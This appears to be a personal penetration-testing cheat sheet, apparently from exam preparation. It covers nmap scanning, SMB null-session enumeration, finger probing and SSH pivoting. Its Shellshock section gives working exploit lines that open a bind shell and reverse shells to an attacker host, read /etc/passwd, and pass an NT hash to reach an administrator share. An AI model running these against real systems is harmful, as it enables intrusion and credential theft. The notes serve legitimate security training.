Network

Scan for hosts
nmap -sn $iprange -oG - | grep Up | cut -d' ' -f2 > network.txt
Port scanning
TCP Top 1000:
nmap -Pn -sC -sV -oA tcp -vv $ip
All TCP Ports:
nmap -Pn -sC -sV -oA all -vv -p- $ip
When you're getting no where with the TCP ports - try UDP ports. Easily forgotten about!
UDP Top 100:
nmap -Pn -sU --top-ports 100 -oA udp -vv $ip
Utilize nmap's scripts
Find script related to a service your interested in, example here is ftp
locate .nse | grep ftp
What does a script do?
nmap --script-help ftp-anon
Uniscan
uniscan -u $ip -qweds
Good nmap command
nmap -T4 -n -sC -sV -p- -oN nmap-versions --script='*vuln*' [ip]
unicornscan + nmap = onetwopunch
Unicornscan supports asynchronous scans, speeding port scans on all 65535 ports. Nmap has powerful features that unicornscan does not have. With onetwopunch, unicornscan is used first to identify open ports, and then those ports are passed to nmap to perform further enumeration.
./onetwopunch.sh -t targets.txt -i tun0 -n '-T4 -n -sC -sV -oN nmap-versions --script=*vuln*'
Vulnerability scanning
NSE scripts that scans for vulnerabilities are at ls -l /usr/share/nmap/scripts/*vuln*.
nmap -p 80 --script=all $ip - Scan a target using all NSE scripts. May take an hour to complete.
nmap -p 80 --script=*vuln* $ip - Scan a target using all NSE vuln scripts.
nmap -p 80 --script=http*vuln* $ip  - Scan a target using all HTTP vulns NSE scripts.
nmap -p 21 --script=ftp-anon $ip/24 - Scan entire network for FTP servers that allow anonymous access.
nmap -p 80 --script=http-vuln-cve2010-2861 $ip/24 - Scan entire network for a directory traversal vulnerability. It can even retrieve admin's password hash.

SMB and SAMBA
Server Message Block (SMB) Protocol is a network file sharing protocol, and as implemented in Microsoft Windows
Samba has provided secure, stable and fast file and print services for all clients using the SMB/CIFS protocol, such as all versions of DOS and Windows, OS/2, Linux and many others
 SMB Version
 Windows version
 CIFS 
 Microsoft Windows NT 4.0
 SMB 1.0
 Windows 2000, Windows XP, Windows Server 2003 and Windows Server 2003 R2
 SMB 2.0
 Windows Vista & Windows Server 2008
 SMB 2.1
 Windows 7 and Windows Server 2008 R2
 SMB 3.0
 Windows 8 and Windows Server 2012
 SMB 3.0.2
 Windows 8.1 and Windows Server 2012 R2
 SMB 3.1.1
 Windows 10 and Windows Server 2016
SMB uses the following TCP and UDP ports:
netbios-ns 137/tcp # NETBIOS Name Service
netbios-ns 137/udp
netbios-dgm 138/tcp # NETBIOS Datagram Service
netbios-dgm 138/udp
netbios-ssn 139/tcp # NETBIOS session service
netbios-ssn 139/udp
microsoft-ds 445/tcp # if you are using Active Directory

Null Session Enumeration
Vulnerable SMB Versions
Vulnerable versions:
Windows NT, 2000, and XP (most SMB1) - VULNERABLE: Null Sessions can be created by default
Windows 2003, and XP SP2 onwards - NOT VULNERABLE: Null Sessions can't be created default
Most Samba (Unix) servers
List of SMB versions and corresponding Windows versions:
SMB1 – Windows 2000, XP and Windows 2003.
SMB2 – Windows Vista SP1 and Windows 2008
SMB2.1 – Windows 7 and Windows 2008 R2
SMB3 – Windows 8 and Windows 2012.

rpcclient
Manually probe a SMB server
rpcclient -U '' $ip
Password:
rpcclient $> srvinfo # operating system version
rpcclient $> netshareenumall # enumerate all shares and its paths
rpcclient $> enumdomusers # enumerate usernames defined on the server
rpcclient $> getdompwinfo # smb password policy configured on the server
Apparently the rpcclient version in OffSec VM does not work well with creating null sessions. A downgrade to samba-4.5.15 is required: https://forums.offensive-security.com/showthread.php?12943-Found-solution-to-enum4linux-rpcclient-problem-NT_STATUS_INVALID_PARAMETER&highlight=NT_STATUS_INVALID_PARAMETER Place the export commands into a script and source it before using rpcclient to use the downgraded version, or place it in bashrc. NOTE, once downgraded, pth-winexe doesn't seem to work.
enum4linux
Wrapper around smb programs like rpcclient to automate enumerating an SMB server. Produces tons of results when a null session is successful. NOTE: Make sure to downgrade rpcclient before using.

smbmap -R $sharename -H $ip #Recursively list dirs, and files
smbmap -H $ip
default port it checks is 445, use -P 139 to point it at that port if 445 fails
smbclient
Access SMB shares interactively, seems to work with anonymous access. Hashes don't work.
smbclient //$ip/wwwroot

smbclient //$ip/C$ A433F6C2B0D8BB92D7288ECFFACFC7CD -U Administrator --pw-nt-hash # make sure to only use the NT portion of the hash
WARNING, be careful when using the get command to download absolute path files from the remote system. Eg. get /etc/passwd will download the passwd file and overwrite YOUR /etc/passwd. Use get /etc/passwd /tmp/passwd instead.
To download recursively:
# Within smbclient, download everything recursively:
mask ""
recurse ON
prompt OFF
cd 'path\to\remote\dir'
lcd '~/path/to/download/to/'
mget *

Used to enumerate data from Windows and Samba hosts and is a wrapper for smbclient, rpcclient, net and nmblookup
Look for users, groups, shares, workgroup/domains and password policies
list smb nmap scripts
locate .nse | grep smb
find SAMBA version number using the SMB OS discovery script:
nmap -A $ip -p139
then google to see if version is vulnerable
SAMBA 3.x-4.x #  vulnerable to linux/samba/is_known_pipename
SAMBA 3.5.11 # vulnerable to linux/samba/is_known_pipename

RID
Rid Enum is a RID cycling attack that attempts to enumerate user accounts through null sessions and the SID to RID enum. If you specify a password file, it will automatically attempt to brute force the user accounts when its finished enumerating.
https://tools.kali.org/maintaining-access/ridenum
Null Session
A null SMB session can be used to gather passwords and useful information from SMB 1 by looking in shares that are not password protected for interesting files. Windows NT/2000 XP default settings allow this. Windows 2003/XP SP2 SMB this behaviour is disabled.
Null session and extract information.

Find Logged in users on target.
finger @$ip
if there is no user logged in this will show no username
Check User is existed or not.
finger $username@$ip
The finger command is very useful for checking users on target but it’s painful if brute-forced for a username.
Using Metasploit fo Brute-force target
use auxiliary/scanner/finger/finger_users
set rhosts $ip
set users_file 
run

Well known exploits
Shellshock
The following tool will test it.
git clone https://github.com/nccgroup/shocker; cd shocker; ./shocker.py -H $ip  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose;  ./shocker.py -H $ip  --command "/bin/cat /etc/passwd" -c /cgi-bin/admin.cgi --verbose
You can also:
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc $ip 80
curl -x TARGETADDRESS -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/HOSTIP/1234 0>&1" $ip/cgi-bin/status
Shellshock over SSH:
ssh username@$ip '() { :;}; /bin/bash'
Exploit shellshock via curl, use -k switch to force curl to bypass any SSL warnings. Replace the bash command with anything.
curl http://192.168.123.123/path/to/cgi- bin/name_of_vuln_cgi -H "custom:() { ignored; }; /bin/bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1 "

Tunneling your traffic through another host
sshuttle -r root@$ip 10.10.10.0/24
Port forwarding
Simplest type of traffic redirection, consists on accepting traffic from one address and port port and redirecting it to another address and port.
It can be useful to bypass address and port based filters. Rinetd is a linux tool to do it.
Local port forwarding
Creates an encrypted tunnel through two machines and have traffic redirected to a final host and port, similar to port forwarding This is useful when you are trying to connect from your machine to a destination using a gateway. The syntax is:
ssh gateway_host -L local_port:remote_host:remote_port
You can later create a SSH session to the local port and have and SSH tunneled to destination:
ssh hop_machine -L 31337:banned_machine:22
ssh -p 31337 localhost
Remote port forwarding
It creates a tunnel from the target machine to your local machine, which allows connecting to an arbitrary port on the target. Useful if the target is in a non-routable network from your local machine. This is useful when you are trying to connect to a host, behind a firewall that blocks incoming connections. This technique works as the previous one, but the connection is started from the gateway. The syntax is:
ssh <gateway> -R <remote port to bind>:<local host>:<local port>
Dynamic Port Forwarding
Allows to create a tunnel from the target to your machine, and have the traffic routed to any host through target. You can configure a local port to forward traffic to multiple destinations passing through a single host. It is similar to local port forwarding but allows multiple destinations. It uses the SOCKS protocol. The syntax is:
ssh -D local_port remote_add 
The connection of the previous command is established at port 22 of remote addr.
Pivoting
1. drop 3proxy.exe
2. Set up a config file:
allow *_
internal IP_SAME_NETWORK
external IP_OTHER_NETWORK
socks -p1081
3. Add to /etc/proxychains.conf:
socks4  IP_SAME_NETWORK 1081
4. Scan:
proxychains nmap -sT -Pn IP_OTHER_NETWORK-250 --top-ports=5
Double-pivoting
Pivoting through two different networks:
First, create a dynamic port forwarding through the first network:
ssh -f -N -D 9050 root@10.1.2.1
Edit /etc/proxychains.conf and add as default gateway:
socks4 127.0.0.1 9050
Use the proxy to create a second dynamic port forward to the second network:
proxychains ssh -f -N -D 10050 root@10.1.2.1 -p 22
Edit again /etc/proxychains.conf and add as default gateway:
socks4 127.0.0.1 10050
You can now use proxychains to pivot to the target network:
proxychains nmap -sTV -n -PN 10.1.2.1 -254
